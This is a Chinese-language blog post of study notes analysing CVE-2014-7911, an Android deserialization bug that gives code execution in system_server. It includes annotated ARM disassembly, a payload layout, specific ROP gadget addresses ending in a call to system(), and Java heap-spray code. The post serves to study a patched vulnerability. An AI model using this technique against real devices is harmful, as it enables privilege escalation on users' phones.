CVE-2014-7911学习笔记

Posted by rk700 on October 9, 2016

之前对Android root相关知识了解的不多,所以打算找几个洞学习一下。这篇是对CVE-2014-7911的相关分析文章的学习笔记。


漏洞成因

0x0 finalize()方法

Java中在进行垃圾回收时,要回收的对象的finalize()方法会被自动调用。类BinderProxy在文件/frameworks/base/core/java/android/os/Binder.java中定义,其finalize()方法如下:

@Override
protected void finalize() throws Throwable {
    try {
        destroy();
    } finally {
        super.finalize();
    }
}

private native final void destroy();

所以,在回收BinderProxy对象时,会调用到其native方法destroy()。该方法的定义在文件/frameworks/base/core/jni/android_util_Binder.cpp中:

static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
    IBinder* b = (IBinder*)
            env->GetIntField(obj, gBinderProxyOffsets.mObject);
    DeathRecipientList* drl = (DeathRecipientList*)
            env->GetIntField(obj, gBinderProxyOffsets.mOrgue);

    LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
    env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
    env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
    drl->decStrong((void*)javaObjectForIBinder);
    b->decStrong((void*)javaObjectForIBinder);

    IPCThreadState::self()->flushCommands();
}

可以看到,指针drl的方法dexStrong被执行了,而该指针就是BinderProxy对象的变量mOrgue。所以,如果mOrgue的值被我们控制,那么就可能引发代码执行。

0x1 反序列化

序列化,是把对象转化为字节序列;反序列化,就是把字节序列转化为对象。

java.io.ObjectOutputStream的writeObject(Object obj)方法,可以把参数obj进行序列化;java.io.ObjectInputStream的readObject()方法,可以从输入流中读取字节并反序列化为对象。

如果一个类需要进行序列化/反序列化,那么这个类必须实现SerializableExternalizable接口。当实现Serializable接口的类没有定义readObjectwriteObject方法时,使用默认的readObjectwriteObject方法,而且,只有类的非transient变量才会进行序列化/反序列化。

Java序列化对象时,该对象的类名会保存在序列化得到的字节序列中。随后,在反序列化时,该类名信息会被用于创建对象。而CVE-2014-7911的主要成因,就是篡改了序列化字节中的类名,从而再反序列化时得到了原本不可序列化的BinderProxy

为了试验,我们编写一个简单的应用,其中有一个可序列化的类AAAA:

public class AAAA implements Serializable {
    private static final long serialVersionUID = 0L;
    private int mi = 0xdeadbeef;
    private long ml = 0xbeefdead;
}

和一个不可序列化的类BBBB:

public class BBBB {
    private int mi = 0x1337beef;
    private long ml = 0xbeef1337;
}

我们在AVD上,试验将AAAA序列化后,把其中的AAAA改为BBBB,再由此反序列化得到BBBB。

在Google APIs ARM 4.4.2上可以运行成功:

但是在ARM 4.4.2上失败:在方法checkAndGetTcObjectClass中,提示BBBB不是可序列化的:

而这正是对CVE-2014-7911打了补丁的结果。补丁中新增了一些检查对象的方法,如checkAndGetTcObjectClass。在实际创建类之前,检查要进行反序列化的是否有效。因此,修改类名来反序列化BinderProxy,就无法通过检查了,从而修复了漏洞。

0x2 serialVersionUID

注意到,在在可序列化的类AAAA中,包含了值serialVersionUID。根据文档,每个可序列化的类都有这样一个变量,用于在序列化/反序列化时检查兼容性。如果我们不显示定义这个值,则运行时会自动根据类的信息,计算一个serialVersionUID

如果,在AAAA中不显式声明serialVersionUID,那么在之前的试验中,将其序列化后再反序列化为BBBB时,就会报错:

错误信息显示,BBBB期待的serialVersionUID值为0,这应该是与BBBB本身无法序列化有关。

我们对比显式设置serialVersionUID为0后,序列化AAAA得到的字节,发现其包含的信息确实由0x33f9cc28d1a3b64b变为0:

而0x33f9cc28d1a3b64b=3745249040823203403, 正好是错误信息显示的实际的serialVersionUID

所以,为了使我们反序列化成功,在类AAAA的定义中应该显式设置serialVersionUID为0。


漏洞利用

0x0 控制PC

之前提到,我们可以提供特定的mOrgue,使得方法decStrong被调用。具体地,方法decStrong在库libutils.so中,其汇编代码如下:

这里,r0this指针的值,也就是我们的mOrgue的值。0x0000D174处,便是我们控制PC的地方。

为了通过检查,并跳转到我们指定的地址,POC中构造了一套比较精妙的payload:

+---------+-------------------+---------------> payload start
          |      SA+GBO       |
          |                   |
          +-------------------+
          |     SA+GBO-4      |      SAO
Relative  |                   |
          +-------------------+
addresses |     SA+GBO-8      |
          |                   |
chunk     +-----------------------------------> SA
          |       ....        |
          +-------------------+    GBO-SAO
          |        1          |
+-----------------------------+---------------> SA+GBO-SAO = GBA
          |    0xdeadbeef     |
          +-------------------+
Gadget    |        SA         |
          +-------------------+
Buffer    |    0xdeadbeef     |
          +-------------------+
          |    ROP chain 0    |
+---------+-------------------+

整个payload分为两段:第一段Relative Addresses Chunk(RAC)是很长的一段,用于跳转到第二段;第二段Gadget Buffer(GB)则是用来放gadget的。上图中:

  • SA指Static Address,即我们用来设置mOrgue的一个固定的地址
  • GBO指Gadget Buffer Offset,指的是GB在payload中的偏移量,也就是第一段的长度
  • SAO即Static Address Offset, 为SA相对于payload的偏移量。

根据payload第一段的构造方式,此时SA处的内容为SA+GBO-SAO,正好为GB的实际地址Gadget Buffer Address(GBA)。所以,只要我们的第一段足够大,使得SA落在其中,则[SA]=GBA。

按照decStrong的执行流程,实际执行效果如下。

.text:0000D15A                 PUSH            {R4-R6,LR}
.text:0000D15C                 MOV             R5, R0 ; r0是this指针,即我们设定的mOrgue的值SA
.text:0000D15E                 LDR             R4, [R0,#4] ; r4 = [r0+4] = [SA+4] = SA+GBO-SAO-4 = GBA-4, 即r4是GB前4 BYTES处。
.text:0000D160                 MOV             R6, R1
.text:0000D162                 MOV             R0, R4
.text:0000D164                 BLX             android_atomic_dec ; 对r4调用android_atomic_dec: 该方法接收一个指针作为参数,将所指内容减1,并将减1前的结果返回
.text:0000D168                 CMP             R0, #1
.text:0000D16A                 BNE             loc_D184 ; 如果android_atomic_dec(r4)==1,即[r4]==1, 则进入下一环节。根据payload的构造,[GBA-4]=1,符合要求
.text:0000D16C                 LDR             R0, [R4,#8] ; r0 = [r4+8] = [GBA-4+8] = [GBA+4],根据payload的构造,[GBA+4]=SA,即r0 = SA
.text:0000D16E                 MOV             R1, R6
.text:0000D170                 LDR             R3, [R0] ; r3 = [r0] = [SA] = GBA
.text:0000D172                 LDR             R2, [R3,#0xC] ; r2 = [r3+12] = [GBA+12],即为ROP chain 0
.text:0000D174                 BLX             R2 ; 执行ROP chain 0

由此,我们实现了控制PC

0x1 ROP chain

控制了PC,接下来就是构造ROP链了。试验的对象是AVD 4.4.2 Google APIs ARM image,我们把/system/lib/下一些常用的库拉下来,并按照POC中的ROP链的思路,搜索ROP gadget。不过在使用ROPgadget时,返回大量的gadget,还是需要人工去看哪些是有用。此外,不知道为什么,有些gadget用ROPgadget没搜到,是手工搜索指令找到的。

最后,ROP链构造如下:

ROP chain 0
libandroid_runtime.so thumb
0x0007bcb2 : ldr r7, [r5] ; ldr r3, [r7, #0x14] ; blx r3

ROP chain 1
libdvm.so thumb
0x00041c12: mov sp, r7; pop [r4-r10, pc]

ROP chain 2
libc.so arm
0x0003c190 : ldr r0, [r0, #0x48] ; pop {r3, pc}

ROP chain 3
libc.so thumb
799: 000246a1   200 FUNC    GLOBAL DEFAULT    8 system

由于decStrong方法在开始执行时,首先会将r0的值保存到r5(见代码0x0000D15C处),所以,通过chain 0 和chain 1,可以将sp的值设置到我们的Gadget Buffer中。随后,chain 2将r0设置为[r0+0x48],即r0=GBA-0x48,我们把要执行的名称放在此处。最后,执行system()方法,其参数r0指向的,便是我们提供的要执行的命令。由此完成了整个ROP链,并以system的身份执行命令。

完整的payload结构示意图如下:

+----------------+-----------------+
                 |                 |
                 |                 |
                 |       ...       |
    Relative     |                 |
                 |                 |
    Addresses    +--------------------------------+
                 |                 |
    Chunk        |     command     |
                 |                 |     0x48
                 +-----------------+
                 |        1        |
+-------------------------------------------------+
                 |   0xdeadbeef    |
                 +-----------------+
                 |       SA        |
                 +-----------------+
                 |   0xdeadbeef    |
                 +-----------------+
                 |   ROP chain 0   |
                 +-----------------+
     Gadget      |   0xdeadbeef    |
                 +-----------------+
     Buffer      |   ROP chain 1   |
                 +-----------------+
                 |   0xdeadbeef    |
                 +-----------------+
                 |   ROP chain 2   |
                 +-----------------+
                 |   0xdeadbeef    |
                 +-----------------+
                 |   ROP chain 3   |
+----------------+-----------------+

0x2 堆喷射

为了使设置的mOrgue能够落入payload中,采取了堆喷射的手段来布置payload。POC中采取的是动态注册Broadcast Receiver,并将payload放入permission字符串中:

    void heap_spary_ex(String str){
        str = str + generateString(16);
        try{
            IntentFilter inFilter = new IntentFilter();

            inFilter.addAction(generateString(16));
            
            this.registerReceiver(receiver, inFilter,str,null);
            //LocationManager lm = (LocationManager)getSystemService(LOCATION_SERVICE);
            //lm.addTestProvider(str.toString(), false, false, false, false, false, false, false, 1, 1);
        } catch(Exception e) {
            //throw new RuntimeException(e);
            //Log.i("7911", "exception" );
            e.printStackTrace();
    }

注册的Receiver会保存在system_server的堆上。通过大量注册这些Receiver,我们可以在堆上布置大量的payload,以待跳入。

0x3 system_server

为什么注册Receiver,就可以在system_server的堆上布置payload呢?为此,需要简要介绍下system_server。

system_server是一个非常重要的进程,它包括了大量系统服务。我们可以通过ps -t | grep <system_server_pid>来查看system_server所包含的线程,示例如下:

可以看到,许多重要的服务,如GC, Activity Manager, Windows Manager等,都是system_server的线程。另一方面我们知道,同一进程的不同线程,是拥有各自的栈,但是互相共享text和data,所以堆也是可以共享的。所以,之前研究堆溢出时,可以看到malloc是有线程安全版本的,以保证不同线程分配堆时不会发生冲突。

于是,我们注册Receiver时,最终会调用ActivityManagerService中的方法registerReceiver,定义在文件/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java中。其中会创建新的BroadcastFilter对象,这便是保存在堆上的:

    public Intent registerReceiver(IApplicationThread caller, String callerPackage,
            IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
            ...
            BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
                    permission, callingUid, userId);

所以通过注册Receiver的方式,我们在Activity Manager、即system_server的堆上布置了payload。

0x4 触发漏洞

当堆上的payload布置好后,我们便需要让system_server触发反序列化了。为此,我们将伪造的序列化字符串发送至system_server。system_server在将其反序列化后,得到伪造的BinderProxy。随后,在该对象被回收时,触发finalize()方法,进行访问我们设置的mOrgue,最后跳到设置好的的堆上,完成代码执行。


参考资料